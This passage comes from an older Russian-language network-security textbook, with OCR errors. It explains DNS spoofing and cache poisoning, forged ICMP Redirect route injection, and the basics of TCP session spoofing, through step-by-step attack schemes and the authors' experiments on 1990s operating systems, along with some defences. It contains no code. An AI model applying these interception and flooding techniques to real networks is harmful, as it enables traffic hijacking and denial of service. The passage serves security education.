организации имеют локальные сети (в том числе и IP-сети), хотя далеко не у всех они подключены к сети
Internet. Это объясняется как соображениями безопасности, так и отсутствием у организации необходимости
такого подключения. И наконец, сотрудникам, знающим тонкости своей внутренней вычислительной сети,
гораздо легче осуществить взлом, чем кому бы то ни было. Поэтому администраторам безопасности нельзя
недооценивать данную удаленную атаку, даже если ее источник находится внутри их локальной IP-сети.

  Ложный DNS-сервер в сети Internet
Как известно, для обращения к хостам в Internet используются 32-разрядные IP-адреса, уникально
идентифицирующие каждый сетевой компьютер в этой глобальной сети. Однако для пользователей применение
IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным способом
взаимодействия.

  На самом раннем этапе развития Internet именно для удобства пользователей было принято решение
присвоить всем компьютерам в Сети имена. Использование имен помогает лучше ориентироваться в
киберпрост-ранстве Internet: запомнить, например, имя www.ferrari.it пользователю куда проще, чем
четырехразрядную цепочку IP-адреса. Употребление в Internet мнемонически удобных и понятных
пользователям имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо,
так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для
непосредственной адресации сообщений в Internet имена не годятся. Сначала, когда в сеть Internet было объе-
динено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы
преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и
соответствующие им IP-адреса всех хостов в Сети. Этот файл регулярно обновлялся и распространялся по всей
Сети. Но, по мере развития Internet, число объединенных в Сеть хостов увеличивалось и такая схема
становилась все менее и менее работоспособной. На смену ей пришла новая система преобразо-. вания имен,
позволяющая пользователю получить необходимые сведения о соответствии имен и IP-адресов от ближайшего
информационно-поискового сервера (DNS-сервера). Этот способ решения проблемы получил название Domain
Name System (DNS - доменная система имен).

  Чтобы реализовать эту систему, был разработан сетевой протокол DNS, для обеспечения эффективной
работы которого в Сети создаются специальные выделенные информационно-поисковые серверы - DNS-
серверы. Поясним основную задачу, решаемую службой DNS. В современной сети Internet хост (имеется в виду
клиентская часть DNS, называемая resolver) при обращении к удаленному серверу обычно знает его имя, но не
IP-адрес, который необходим для непосредственной адресации. Следовательно, перед хостом возникает
стандартная задача удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой задачи и
занимается служба DNS на базе протокола DNS.

  Рассмотрим DNS-алгоритм удаленного поиска IP-адреса по имени в сети Internet.

  I Запросы, генерируемые хостом, являются рекурсивными, то есть в качестве ответа на такой запрос
возвращается либо искомая информация, либо сообщение о ее отсутствии. Запросы, генерируемые DNS-cep-
вером, являются итеративными (нерекурсивными) и, в отличие от рекурсивных, допускают ответ в виде
ссылки на другой сервер, который лучше осведомлен о месте расположения искомой информации
1. Хост посылает на IP-адрес ближайшего DNS-сервера (он устанавливается при настройке сетевой ОС)
DNS-запрос, в котором указывает имя сервера, IP-адрес которого необходимо найти.

  2. DNS-сервер, получив такое сообщение, ищет в своей базе имен указанное имя. Если указанное в запросе
имя найдено, а следовательно, найден и соответствующий ему IP-адрес, то DNS-сервер отправляет на хост
DNS-ответ, в котором указывает искомый IP-адрес. Если же DNS-сервер не обнаружил такого имени в своей
базе имен, то он пересылает DNS-запрос на один из ответственных за домены верхнего уровня DNS-серверов,
адреса которых содержатся в файле настроек DNS-сервера root.cache, и описанная в этом пункте процедура
повторяется, пока имя не будет найдено (или будет не найдено). Анализируя уязвимость этой схемы удаленного
поиска, можно прийти к выводу, что в сети, использующей протокол DNS, возможно осуществление типовой
удаленной атаки <ложный объект РВС>. Практические изыскания и критический анализ безопасности службы
DNS позволяют предложить три возможных варианта удаленной атаки на эту службу.

  Перехват DNS-запроса
Внедрение в сеть Internet ложного DNS-сервера путем перехвата DNS-запроса - это удаленная атака на базе
типовой атаки, связанной с ожиданием поискового DNS-запроса. Перед тем как рассмотреть алгоритм атаки на
службу DNS, необходимо обратить внимание на некоторые тонкости в работе этой службы.

  Во-первых, по умолчанию служба DNS функционирует на базе протокола UDP (хотя возможно и
использование протокола TCP), что, естественно, делает ее менее защищенной, так как протокол UDP (в
отличие от TCP) вообще не предусматривает средств идентификации сообщений. Для того чтобы перейти от
UDP к TCP, администратору DNS-сервера придется очень серьезно изучить документацию (в стандартной
документации на демон named в ОС Linux нет никакого упоминания о возможном выборе протокола, на
котором будет работать DNS-сервер). Этот переход несколько замедлит систему, так как при использовании
TCP требуется создание виртуального соединения, кроме того, конечная сетевая ОС вначале посылает DNS-
запрос с использованием протокола UDP, и только в том случае, если придет специальный ответ от DNS-
сервера, она пошлет следующий запрос с использованием TCP.

  Во-вторых, начальное значение поля <порт отправителя> в UDP-пакете > 1023 и увеличивается с каждым
переданным DNS-запросом.

  В-третьих, значение идентификатора (ID) DNS-запроса устанавливается следующим образом. В случае
передачи DNS-запроса с хоста оно зависит от конкретного сетевого приложения, вырабатывающего DNS-
запрос. Эксперименты показали, что если запрос посылается из оболочки командного интерпретатора (SHELL)
операционных систем Linux и Windows 95 (например, ftp rue. funet. fi), то это значение всегда равняется
единице. Если же DNS-запрос передается из Netscape Navigator или его посылает непосредственно DNS-сервер,
то с каждым новым запросом сам браузер или сервер увеличивает значение идентификатора на единицу. Все
эти тонкости имеют значение в случае атаки без перехвата DNS-запроса.

  Для реализации атаки путем перехвата DNS-запроса кракеру необходимо перехватить запрос, извлечь из
него номер UDP-порта хоста отправителя, двухбайтовое значение ID-идентификатора DNS-запроса и искомое .

  имя, а затем послать ложный DNS-ответ на извлеченный из DNS-запроса .UDP-порт, где в качестве искомого
IP-адреса указать настоящий IP-адрес ложного DNS-сервера. Такой вариант атаки в дальнейшем позволит пол-
ностью перехватить трафик между атакуемым хостом и сервером и активно воздействовать на него по схеме
<ложный объект РВС>. Рассмотрим обобщенную схему работы ложного DNS-сервера (рис. 4.5): 1, Ожидание
DNS-запроса.

  2. Извлечение из полученного сообщения необходимых сведений и передача по сети на запросивший хост
ложного DNS-ответа от имени (с IP-адреса) настоящего DNS-сервера с указанием в этом ответе IP-адреса
ложного DNS-сервера.

  3. В случае получения пакета от хоста - изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного
DNS-сервера и передача пакета на сервер (то есть ложный DNS-сервер ведет работу с сервером от своего
имени).

  4. В случае получения пакета от сервера - изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного
DNS-сервера и передача пакета на хост (для хоста ложный DNS-сервер и есть настоящий сервер).


  Рис. 4.5. Функциональная схема ложного DNS-сервера


  Необходимым условием осуществления данного варианта атаки является перехват DNS-запроса, а это
возможно только в том случае, если атакующий находится либо на пути основного трафика, либо в одном
сегменте с DNS-сервером. В результате подобная удаленная атака становится трудноосуществимой на практике
(попасть в сегмент DNS-сервера, и тем более в межсегментный канал связи, взломщику, скорее всего, не
удастся). Однако при выполнении этих условий можно осуществить межсегментную удаленную атаку на сеть
Internet.

  Отметим, что практическая реализация данной удаленной атаки выявила ряд интересных особенностей в
работе протокола FTP и в механизме идентификации TCP-пакетов (см. раздел <Подмена одного из субъектов
TCP-соединения в сети Internet>). В случае, когда FTP-клиент на хосте подключался к удаленному FTP-серверу
через ложный DNS-сервср, оказывалось, что каждый раз после выдачи пользователем прикладной команды FTP
(например, Is, get, put и т.д.) FTP-клиент вырабатывал команду PORT, которая состояла в передаче на FTP-
сервер в поле данных TCP-пакета номера порта и IP-адреса клиентского хоста (особый смысл в этих действиях
трудно найти: зачем каждый раз передавать на FTP-сервер IP-адрес клиента?). Если на ложном DNS-сервере не
изменить в поле данных IP-адрес и переслать пакет на FTP-сервер по обыкновенной схеме, то следующий пакет
будет передан FTP-сервером на хост FTP-клиента, минуя ложный DNS-сервср. Что самое интересное, такой
пакет будет воспринят как нормальный, и в дальнейшем ложный DNS-сервер потеряет контроль над трафиком
между FTP-сервером и FTP-клиснтом. Это связано с тем, что обычный FTP-сервер не предусматривает никакой
дополнительной идентификации FTP-клиента, а перекладывает все проблемы идентификации пакетов и
соединений на более низкий уровень - уровень TCP (транспортный).

  Направленный шторм ложных DNS-ответов на атакуемый хост
Другой вариант осуществления удаленной атаки - внедрение в сеть Internet ложного сервера путем создания
направленного шторма ложных DNS-ответов на атакуемый хост - основан на второй разновидности типовой
атаки <ложный объект РВС> (при использовании недостатков алгоритмов удаленного поиска). В этом случае
кракер осуществляет постоян-'ную передачу на атакуемый хост заранее подготовленного ложного DNS-ответа
от имени настоящего DNS-сервера без приема DNS-запроса. Другими словами, атакующий создает в сети
Internet направленный шторм ложных DNS-ответов. Это возможно, так как обычно для передачи DNS-запроса
используется протокол UDP, в котором отсутствуют средства идентификации пакетов. Сетевая ОС хоста
предъявляет следующие требования к полученному от DNS-сервера ответу: IP-адрес отправителя ответа должен
совпадать с IP-адресом DNS-сервера, а имя в DNS-ответе -с именем в DNS-запросе; кроме того, DNS-ответ
следует направить на тот же UDP-порт, с которого было послано сообщение (в данном случае это первая
проблема для взломщика), и поле идентификатора запроса (ID) в заголовке DNS-ответа должно содержать то же
значение, что и в переданном запросе (а это вторая проблема).

  Так как атакующий не имеет возможности перехватить DNS-запрос, основную проблему для него
представляет номер UDP-порта, с которого этот запрос был послан. Однако, как было отмечено ранее, номер
порта отправителя принимает ограниченный набор значений (> 1023), поэтому атакующему достаточно
действовать простым перебором, направляя ложные ответы на соответствующий перечень портов. На первый
взгляд, второй проблемой может стать двухбайтовый идентификатор DNS-запроса, но он либо равен единице,
либо, в случае DNS-запроса, например от Netscape Navigator, имеет значение близкое к нулю (один запрос - ID
увеличивается на 1).

  Поэтому для осуществления данной удаленной атаки взломщику необходимо выбрать интересующий его
объект (например, сервер top.secret.com). маршрут к которому требуется изменить так, чтобы он проходил через
ложный сервер - хост кракера. Это достигается постоянной передачей (направленным штормом) ложных DNS-
ответов на соответствующие UDP-порты атакуемого объекта. В этих ложных DNS-ответах в качестве IP-адреса
хоста top.secret.com указывается IP-адрес атакующего. Далее атака развивается по следующей схеме. Как только
атакуемый обратится по имени к хосту top.secret.com. то от данного хоста в сеть будет передан DNS-запрос,
который атакующий никогда не получит. Однако кракеру этого и не требуется, так как на объект атаки сразу же
поступит постоянно передаваемый ложный DNS-ответ, что и будет воспринято ОС атакуемого хоста как
настоящий ответ от DNS-сервера. Все! Атака состоялась, и теперь жертва будет передавать все пакеты,
предназначенные для top.secret.com, па IP-адрес хоста взломщика, который, в свою очередь, будет переправлять
их на top.secret.com. воздействуя на перехваченную информацию по схеме <ложный объект РВС>.

  I Конечно, условием успеха этой атаки будет получение объектом атаки ложного DNS-ответа ранее
настоящего ответа от ближайшего DNS-сервера. Поэтому для повышения вероятности ее успеха
желательно нарушить работоспособность ближайшего DNS-сервера (например, путем создания
направленного шторма UDP-запросов на 53-й порт).


                                          

Рис. 4.6. Внедрение в internet ложного сервера путем создания направленного шторма ложных DNS-
ответов на атакуемый хост


  Рассмотрим функциональную схему предложенной удаленной атаки на службу DNS (рис. 4.6):

  1. Постоянная передача кракером ложных DNS-ответов на различные UDP-порты атакуемого хоста и,
возможно, с различными ID от имени (с IP-адреса) настоящего DNS-сервера с указанием имени интересующего
хоста и его ложного IP-адреса, которым будет являться IP-адрес ложного сервера - хоста атакующего.

  2. В случае получения пакета от хоста - изменение в IP-заголовке пакета его IP-адреса на IP-адрес
атакующего и передача пакета на сервер (то есть ложный сервер ведет работу с сервером от своего имени - со
своего IP-адреса).

  3. В случае получения пакета от сервера - изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного
сервера и передача пакета на хост (для хоста ложный сервер и есть настоящий сервер). Таким образом,
реализация данной удаленной атаки, использующей пробелы в безопасности службы DNS, позволяет из любой
точки сети Internet нарушить маршрутизацию между двумя заданными объектами (хостами). Такая атака
осуществляется межсегментно по отношению к цели атаки и угрожает безопасности любого хоста Internet,
использующего обычную службу DNS.

  Перехват DNS-запроса или создание направленного шторма ложных DNS-ответов на DNS-сервер
Рассмотрим внедрение в сеть Internet ложного сервера путем перехвата DNS-запроса или создания
направленного шторма ложных DNS-ответов на атакуемый DNS-сервер.

  Из рассмотренной ранее схемы удаленного DNS-поиска следует, что если DNS-сервер не обнаружил
указанное в запросе имя в своей базе имен, то такой запрос отсылается им на один из ответственных за домены
верхних уровней DNS-серверов, адреса которых содержатся в файле настроек сервера root.cache.

  Итак, если DNS-сервер не имеет сведений о запрашиваемом хосте, то он сам, пересылая запрос далее,
является инициатором удаленного DNS-поиска. Поэтому ничто не мешает кракеру, действуя описанными в
предыдущих пунктах методами, перенести свой удар непосредственно на DNS-сервер. В таком случае ложные
DNS-ответы будут направляться атакующим от имени корневого DNS-сервера на атакуемый DNS-сервер.

  При этом важно учитывать следующую особенность работы DNS-сервера. Для ускорения работы каждый
DNS-сервер кэширует в области памяти свою DNS-таблицу соответствия имен и IP-адресов хостов. В том числе
в кэш заносится динамически изменяемая информация об именах и 1Р-ад-pecax хостов, найденных в процессе
функционирования DNS-сервера, то есть, если DNS-сервер, приняв запрос, не находит у себя в кэш-таблице со-
ответствующей записи, он пересылает запрос на следующий сервер и, по-лучив ответ, заносит найденные
сведения в кэш-таблицу. Таким образом, при получении следующего запроса DNS-серверу уже нс требуется
вести удаленный поиск, так как необходимые сведения находятся у него в кэш- таблице.

  Анализ подробно описанной здесь схемы удаленного DNS-поиска пока- зывает, что если на запрос от DNS-
сервера атакующий направит ложный DNS-ответ или (в случае шторма ложных ответов) будет вести их посто-
янную передачу, то в кэш-таблице сервера появится соответствующая за- пись с ложными сведениями, и в
дальнейшем все хосты, обратившиеся к данному DNS-серверу, будут дезинформированы, а при адресации к
хос- ту, маршрут к которому кракер решил изменить, связь с ним будет осуще- ствляться через хост
атакующего по схеме <ложный объект РВС>. И, что хуже всего, с течением времени эта ложная информация,
попавшая в кэш DNS-сервера, начнет распространяться на соседние DNS-серверы высших уровней, а
следовательно, все больше хостов в Internet будут дезинформи-рованы и атакованы.

  Очевидно, что в том случае, когда взломщик не может перехватить DNS-запрос от DNS-сервера, для
реализации атаки ему необходим шторм ложных dns-otbctob, направленный на DNS-сервер. При этом возникает
следующая проблема, отличная от проблемы подбора портов в случае ата- ки на хост. Как уже отмечалось,
DNS-сервер, посылая запрос на другой DNS-сервер, идентифицирует этот запрос двухбайтовым значением
(ID). Это значение увеличивается на единицу с каждым передаваемым запросом. Атакующему узнать текущее
значение идентификатора DNS-запроса нс
представляется возможным. Поэтому предложить что-либо, кроме перебо- ра 2^16 вероятных значений ID,
сложно. Зато исчезает проблема перебора портов, так как все DNS-запросы передаются DNS-сервером на порт

                                       53.


  Еще одно условие осуществления атаки на DNS-сервер с использованием направленного шторма ложных
dns-otbctob состоит в том, что она будет иметь успех только в случае, если DNS-сервер пошлет запрос на поиск
имени, которое содержится в ложном DNS-ответе. DNS-сервер посылает этот столь необходимый и желанный
для атакующего запрос лишь тогда, когда на пего приходит DNS-запрос от какого-либо хоста па поиск данного
имени и этого имени не оказывается в кэш-таблице DNS-сервера. Такой запрос может появиться когда угодно,
и кракеру придется ждать результатов атаки неопределенное время. Однако ничто не мешает атакующему,
никого не дожидаясь, самому послать на атакуемый DNS-сервер подобный DNS-запрос и спровоцировать DNS-
сервер на поиск указанного в запросе имени. Тогда эта атака с большой вероятностью будет иметь успех
практически сразу же после начала ее осуществления.

  Вспомним, например, скандал, произошедший 28 октября 1996 года вокруг одного из московских
провайдеров Internet - компании РОСНЕТ;





                                          

Рис. 4.7. внедрение в Internet ложного сервера путем перехвата DNS-запроса от DNS-серверс


  J. Кэш-таблица DNS-сервера содержит информацию о соответстбии имени TOP.SECRET.СОР IP-адресу
хоста атакующего
Рис. 4.8. Внедрение в internet ложного сервера путем создания направленного шторма ложных DNS-
ответов на атакуемый DhlS-сервер


  когда пользователи данного провайдера при обращении к обычному информационному WWW-серверу
попадали, как было сказано в телевизионном репортаже, <на WWW-сервер сомнительного содержания>. Этот
инцидент вполне укладывается в только что описанную схему удаленной атаки на DNS-сервер. С одним
исключением: вместо адреса хоста атакующего в кэш-таблицу DNS-сервера был занесен IP-адрес другого, не
принадлежащего взломщику, хоста (порносайта).

  Уже затем нам довелось ознакомиться с интервью, которое якобы дал кракер, осуществивший этот взлом. Из
интервью следовало, что атака использовала некую известную <дыру> в WWW-сервере РОСНЕТ, что и
позволило атакующему подменить одну ссылку другой. Осуществление воздействий такого типа является, по
сути, тривиальным и не требует от взломщика практически никакой квалификации, за исключением изрядной
доли усидчивости и навыков в применении известных технологий (подчеркнем: именно осуществление, а не
нахождение этой <дыры>). По ' нашему глубокому убеждению, тот, кто найдет уязвимость, и тот, кто осу-
ществит на ее базе взлом, скорее всего, будут разными лицами, так как обычно специалист, обнаруживший
<дыру>, не интересуется вопросами практического применения полученных знаний. (Р. Т. Моррис не стал ис-
ключением, просто его червь из-за ошибки в коде вышел из-под контроля, и пользователям Сети был нанесен
определенный ущерб.)
В завершение хотелось бы снова вернуться к службе DNS и сказать, что, как следует из вышеизложенного,
использование в сети Internet службы удаленного поиска DNS позволяет атакующему организовать удаленную
атаку на любой хост, пользующийся услугами данной службы, и может пробить серьезную брешь в
безопасности этой, и так отнюдь не безопасной, глобальной сети. Как указывал С. М. Белловин (S. М. Bellovin)
в ставшей почти классической работе [14]:  (<Комбинированная атака на доменную систему и механизмы маршрутизации может
привести к катастрофическим последствиям>).

  Навязывание хосту ложного маршрута с использованием протокола 1СМР
Общеизвестно, что маршрутизация в Сети играет важнейшую роль для обеспечения ее нормального
функционирования. Маршрутизация в Internet осуществляется на сетевом уровне (IP-уровень). На программном
уровне для ее обеспечения в памяти сетевой операционной системы
каждого хоста существуют специальные таблицы, содержащие данные о возможных маршрутах. На
аппаратном уровне каждый сегмент Сети подключен к глобальной сети как минимум через один маршрутизатор,
а следовательно, все хосты и маршрутизатор должны физически располагаться в одном сегменте. Поэтому все
сообщения, адресованные в другие сегменты Сети, направляются на маршрутизатор, который, в свою очередь,
перенаправляет их далее по указанному в пакете IP-адресу, выбирая при этом оптимальный маршрут.

  Рассмотрим, что представляет собой таблица маршрутизации хоста. Она состоит из пяти колонок: сетевой адрес,
сетевая маска, адрес маршрутизатора, интерфейс и метрика (см. рис. 4.9)
В каждой строке этой таблицы содержится описание соответствующего маршрута, которое включает IP-адрес
конечной точки пути (сетевой адрес), IP-адрес соответствующего ближайшего маршрутизатора (адрес мар-
шрутизатора), а также ряд других параметров, характеризующих этот путь. Обычно в системе существует так
называемый маршрут по умолчанию (поле <сетевой адрес> содержит значение 0.0.0.0, заданное по умолчанию,а
поле <адрес маршрутизатора> - IP-адрес маршрутизатора): все пакеты, посылаемые па IP-адрес вне пределов
данной подсети, будут направляться по этому пути, то есть па маршрутизатор. IP-адресация, как адресация на
сетевом уровне, была задумана именно для межсегментной передачи данных из одной точки глобальной сети в
другую. Для обращения на канальном уровне используются аппаратные адреса сетевых карт. Если бы Сеть
представляла собой всего один сегмент, то дополнительной IP-адресации нс потребовалось бы, так как
аппаратных адресов сетевых адаптеров было бы вполне достаточно для непосредственной пересылки пакетов.

  Сегодня Internet представляет собой совокупность сегментов, соединенных через маршрутизаторы, и в Сети мы
вынуждены использовать систему двойной адресации (по аппаратным и сетевым адресам). Поэтому, когда пакет
направляется в другой сегмент Сети, в заголовке сетевого уровня указывается IP-адрес назначения, а в заголовке
канального уровня -Ethernet-адрес ближайшего маршрутизатора.

  Немного о IСМР
Как известно, в сети Internet существует управляющий протокол 1СМР (Internet Control Message Protocol), одной
из функций которого является удаленное управление таблицей маршрутизации на хостах внутри сегмента Сети.

  Динамическое удаленное управление маршрутизацией изначально задумывалось для предотвращения
возможной передачи сообщений по неоптимальпому маршруту, а также для повышения отказоустойчивости
Сети в целом. Предполагалось, что сетевой сегмент может быть подключен к Internet не через один (как это
обычно происходит), а через несколько маршрутизаторов. В этом случае адресоваться во внешнюю сеть можно
через любой из ближайших узлов. Это довольно удобно как с точки зрения оптимальности маршрута (например,
к хосту www.example.one кратчайший маршрут проходит через первый маршрутизатор, а к хосту
www.example.two - через второй маршрутизатор), так и с точки зрения повышения надежности работы Сети: при
выходе из строя одного из маршрутизаторов связь с внешним миром возможна через другой маршрутизатор. В
обоих случаях - как при изменении оптимального маршрута, так и при выходе из строя маршрутизатора -
необходимо изменение таблицы маршрутизации в памяти сетевой операционной системы. Одно из назначений
протокола 1СМР состоит именно в динамическом изменении таблицы маршрутизации оконечных сетевых
систем.

  Итак, в Internet удаленное управление маршрутизацией реализовано в виде передачи с маршрутизатора на хост
управляющего ICMP-сообщения
Redirect Message (Перенаправить сообщение). Заголовок сообщения представлен на рис. 4.10.


                                          

Поля сообщения принимают следующие значения: поле Type - 5, поле Code - 0 = Redirect datagrams for the
Network, I = Redirect datagrams for the Host, 2 == Redirect datagrams for the Type of Service and Network или 3 =
Redirect datagrams for the Type of Service and Host.

  Как следует из спецификации протокола 1СМР, сообщение Redirect бывает двух видов. Первый вид
сообщения (code 0) носит название Redirect Datagrams for the Network (Таблица данных перенаправления в сетях)
и уведомляет хост о необходимости смены адреса маршрутизатора, заданного по умолчанию, или о смене
маршрута к определенной подсети. Второй вид (code 1) - Redirect Datagrams for the Host (Таблица данных
перенаправления для хоста) - информирует хост о том, что следует создать новый маршрут к отмеченному в
сообщении объекту и внести его в таблицу маршрутизации, указывая IP-адрес хоста, для которого нужна смена
маршрута (адрес будет занесен в поле Destination (Назначение) в пристыкованном IP-заголовке), и новый IP-
адрес маршрутизатора, куда необходимо направлять пакеты для данного хоста (этот адрес заносится в поле
Gateway). В результате исследования реакции различных сетевых систем на данное ICMP-сообщение выяснилось
важное ограничение, накладываемое на IP-адрес нового маршрутизатора,- он должен быть в пределах адресов
данной подсети.

  Исследование публикаций, посвященных протоколу 1СМР, показало, что сообщение Redirect Datagrams for
the Network устарело и уже не используется современными сетевыми ОС. Это подтверждает и проведенный
авторами анализ исходных текстов ОС Linux 1.2.8. Иначе дело обстоит с управляющим сообщением Redirect
Datagrams for the Host: здесь нет такого единства в рядах разработчиков различных сетевых ОС. Наши ис-
следования показали, что на практике многие из известных UNIX-систем игнорируют это сообщение. Например,
если в версии Linux 1.2.8 еще была реакция на Redirect Datagrams for the Host, то уже в версии Linux 2.0.0 такое
сообщение игнорировалось. Иначе обстоит дело с ОС фирмы Microsoft - Windows 95 и Windows NT. Опасность
Redirect Datagrams for the Host lie была принята во внимание, и обе системы реагируют на это сообщение,
позволяя удаленно изменять таблицу маршрутизации на любом Windows-хосте.

  Итак, мы подошли к основному вопросу: в чем же потенциальная опасность реакции сетевой ОС на ICMP-
сообщение Redirect Datagrams for the Host? Ответ очевиден: существует возможность несанкционированного
изменения маршрутизации на хосте. Что может помешать кракеру самому послать подобное сообщение и
навязать системе ложный маршрут? К сожалению, ничего. Анализ механизма идентификации ICMP-сообщения
Redirect показывает, что единственным параметром, идентифицирующем это сообщение, является IP-адрес
отправителя, который должен совпадать с IP-адресом маршрутизатора, так как это сообщение может и должно
передаваться только маршрутизатором. Особенность протокола 1СМР состоит в том, что он нс предусматривает
никакой дополнительной аутентификации отправителей. То есть ICMP-сообщения передаются на хост
маршрутизатором однонаправлепно без создания виртуального соединения (в процессе создания такого
соединения можно было бы динамически, например по схеме Диффи-Хелмана, выработать идентифицирующую
информацию). А так как ни хост, ни маршрутизатор не имеют заранее определенной статической ключевой
информации для идентификации ICMP-сообщения Redirect, то очевидно, что в данном случае у получателя
такого сообщения нет возможности установить подлинность его отправителя. Следовательно, ничто не мешает
атакующему самому послать ложное ICMP-сообщение Redirect о смене маршрута от имени ближайшего роутера.

  Приведенные выше факты позволяют осуществить типовую удаленную атаку <внедрение в распределенную
ВС ложного объекта путем навязывания ложного маршрута>.

  Для осуществления этой удаленной атаки необходимо подготовить ложное ICMP-сообщение Redirect
Datagrams for the Host, где указать конечный IP-адрес маршрута (адрес хоста, маршрут к которому будет
изменен) и IP-адрес ложного маршрутизатора. Затем такое сообщение передается на атакуемый хост от имени
маршрутизатора, для чего в IP-заголовке в поле адреса отправителя указывается IP-адрес маршрутизатора.

  Можно предложить два варианта данной удаленной атаки.

  В первом случае кракер находится в том же сегменте сети, что и объект атаки. Тогда, послав ложное ICMP-
сообщение, он в качестве IP-адреса нового маршрутизатора может указать свой IP-адрес или любой из адресов
данной подсети. Это даст атакующему возможность перемаршрутизиро-вать сообщения, направляемые
атакованным хостом на определенный IP-адрес, и получить контроль над трафиком между этим хостом и
интересующим взломщика сервером. Далее атака перейдет во вторую стадию, связанную с приемом, анализом
и передачей пакетов, получаемых от <обманутого> хоста. Рассмотрим функциональную схему осуществления
этой атаки (рис. 4.11):

  1. Передача на атакуемый хост ложного ICMP-сообщсния Redirect Datagrams for the Host.

  2. Если пришел ARP-запрос от атакуемого хоста, то посылается ARP-ответ.

  3. Если пришел пакет от атакуемого хоста, то он переправляется на настоящий маршрутизатор.

  4. Если пришел пакет от маршрутизатора, то он переправляется на атакуемый хост.

  5. При приеме пакета возможно воздействие на информацию по схеме <ложный объект РВС>.

  При осуществлении второго варианта удаленной атаки кракер находится в другом сегменте относительно
цели атаки. Тогда в случае передачи на атакуемый хост ложного ICMP-сообщения Redirect сам взломщик уже
не может получить контроль над трафиком, так как адрес нового маршрутизатора должен находиться в
пределах подсети атакуемого хоста. То есть использование данного варианта атаки не позволит атакующему
получить доступ к передаваемой по каналу связи информации; в этом случае атака достигает другой цели -
нарушения работоспособности хоста (рис. 4.12). Кракер с любого хоста в Internet может послать подобное
сообщение на объект атаки, и если сетевая ОС на этом хосте нe проигнорирует данное сообщение, то связь
между хостом и указанным в ложном ICMP-сообще-нии сервером нарушится. Это произойдет потому, что все
пакеты, направляемые хостом на этот сервер, будут отправлены на IP-адрес несуществующего маршрутизатора.

  Для того чтобы выполнить такую межсегментную атаку, атакующему необходимо, во-первых, знать
внутренний IP-адрес маршрутизатора, к которому подключен хост, и, во-вторых, выбрать имя сервера,
которому требуется изменить маршрутизацию.

  Первая проблема - внутренний IP-адрес маршрутизатора - решается только простым перебором, так как узнать
этот адрес из внешней сети не представляется возможным (например, утилита traceroute даст только IP-адрес
маршрутизатора во внешней сети). Так как большинство хостов в сети находится в подсетях класса С, то для
осуществления этой атаки до- статочно будет послать 256 ICMP-сообщений Redirect с различными IP-адресами
отправителя. Например, IP-адрес хоста 194.85.96.197. Предположим, что этот хост находится в подсети класса С,
тогда IP-адрес мар- шрутизатора, к которому он подключен, будет иметь те же первые три бай- та: 194.85.96.*, и
взломщику достаточно будет перебрать только последний байт (послать 256 пакетов).

  Вторая проблема для кракера - выбор имени (или IP-адреса) сервера, к которому будет изменена
маршрутизация. Очевидно, что узнать, к како- му серверу наиболее часто обращается пользователь данного
хоста, для атакующего не представляется возможным. Однако взломщик может, по- сылая неограниченное
число ICMP-сообщений Redirect, последовательно изменять маршрутизацию к наиболее известным или часто
используемым серверам Internet (поисковые серверы, серверы известных фирм и т. д.). Дело сильно упростится
в том случае, если кракер обладает некоторой информацией об атакуемом объекте (например, он является
бывшим со- трудником данной фирмы).

  Эксперимент показал, что оба варианта рассмотренной удаленной ата- ки удается осуществить как
межсегмеитно, так и внутрисегментно на ОС Linux 1.2.8, ОС Windows 95 и ОС Windows NT 4.0. Остальные
сетевые ОС, исследованные нами (Linux версии выше 2.0.0 и CX/LAN/SX, защищен- ная по классу Bl UNIX),
игнорировали ICMP-сообщенис Redirect, что ка- жется вполне логичным с точки зрения обеспечения
безопасности. Защититься от этого воздействия можно фильтрацией проходящих ICMP-сообщений Redirect
при помощи систем Firewall. Другой способ защиты заключается в изменении исходных текстов сетевого ядра
опера- ционных систем с дальнейшей его перекомпиляцией, чтобы запретить ре-
акцию на ICMP-сообщение Redirect. Однако это возможно только в слу- чае свободного распространения
исходных текстов ОС (как в случае с ОС Linux или ОС FreeBSD).

  Подмена одного из субъектов TCP-соединения в сети internet
Transmission Control Protocol (протокол TCP) является одним из базовых протоколов транспортного уровня сети
Internet. Он позволяет исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, устанавливая
логическое соединение - виртуальный канал. По этому каналу передаются и принимаются пакеты с регистрацией
их последовательности, осуществляется управление информационным потоком, организовывается повторная
передача искаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCP является
единственным базовым протоколом из семейства TCP/IP, имеющим дополнительную систему идентификации
сообщений и соединения. Именно поэтому протоколы прикладного уровня FTP и TELNET, предоставляющие
пользователям удаленный доступ на хосты Internet, реализованы на базе протокола TCP.

  Для идентификации TCP-пакета в TCP-заголовке существуют два 32-разрядных идентификатора - Sequence
Number (Номер последовательности) и Acknowledgment Number (Номер подтверждения), которые также играют
роль счетчиков пакетов. Поле Control Bits (Контрольная сумма) размером 6 бит может содержать следующие
командные биты (слева направо): URG - Urgent Pointer Field Significant (Значение поля безотлагательного
указателя), АСК - Acknowledgment Field significant (Значение поля подтверждения), PSH - Push Function, RST -
Reset the Connection (Восстановить соединение), SYN - Synchronize Sequence Numbers (Синхронизировать числа
последовательности), FIN - No More Data from Sender (Конец передачи данных от отправителя). Рассмотрим
схему создания TCP-соединения (рис. 4.13). Предположим, что хосту А необходимо создать TCP-соединение с
хостом В. Тогда А посылает на В следующее сообщение: SYN, ISSa.


  Это означает, что в передаваемом А сообщении установлен бит SYN (Synchronize Sequence Number), а в поле
Sequence Number установлено начальное 32-битное значение ISSa (Initial Sequence Number). Хост В отвечает:

  SYN, АСК, ISSb, ACK(ISSa+l).

  В ответ на полученный от А запрос В посылает сообщение, в котором установлены бит SYN и бит АСК; в
поле Sequence Number хостом В задается свое начальное значение счетчика - ISSb; поле Acknowledgment
Number содержит значение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу.

  Хост А, завершая рукопожатие (handshake), посылает: АСК, ISSa+l, ACK(ISSb+l).

  В этом пакете установлен бит АСК; поле Sequence Number содержит значение ISSa+l; поле Acknowledgment
Number содержит значение ISSb+l. Посылкой этого пакета на хост В заканчивается трехступенчатый handshake,
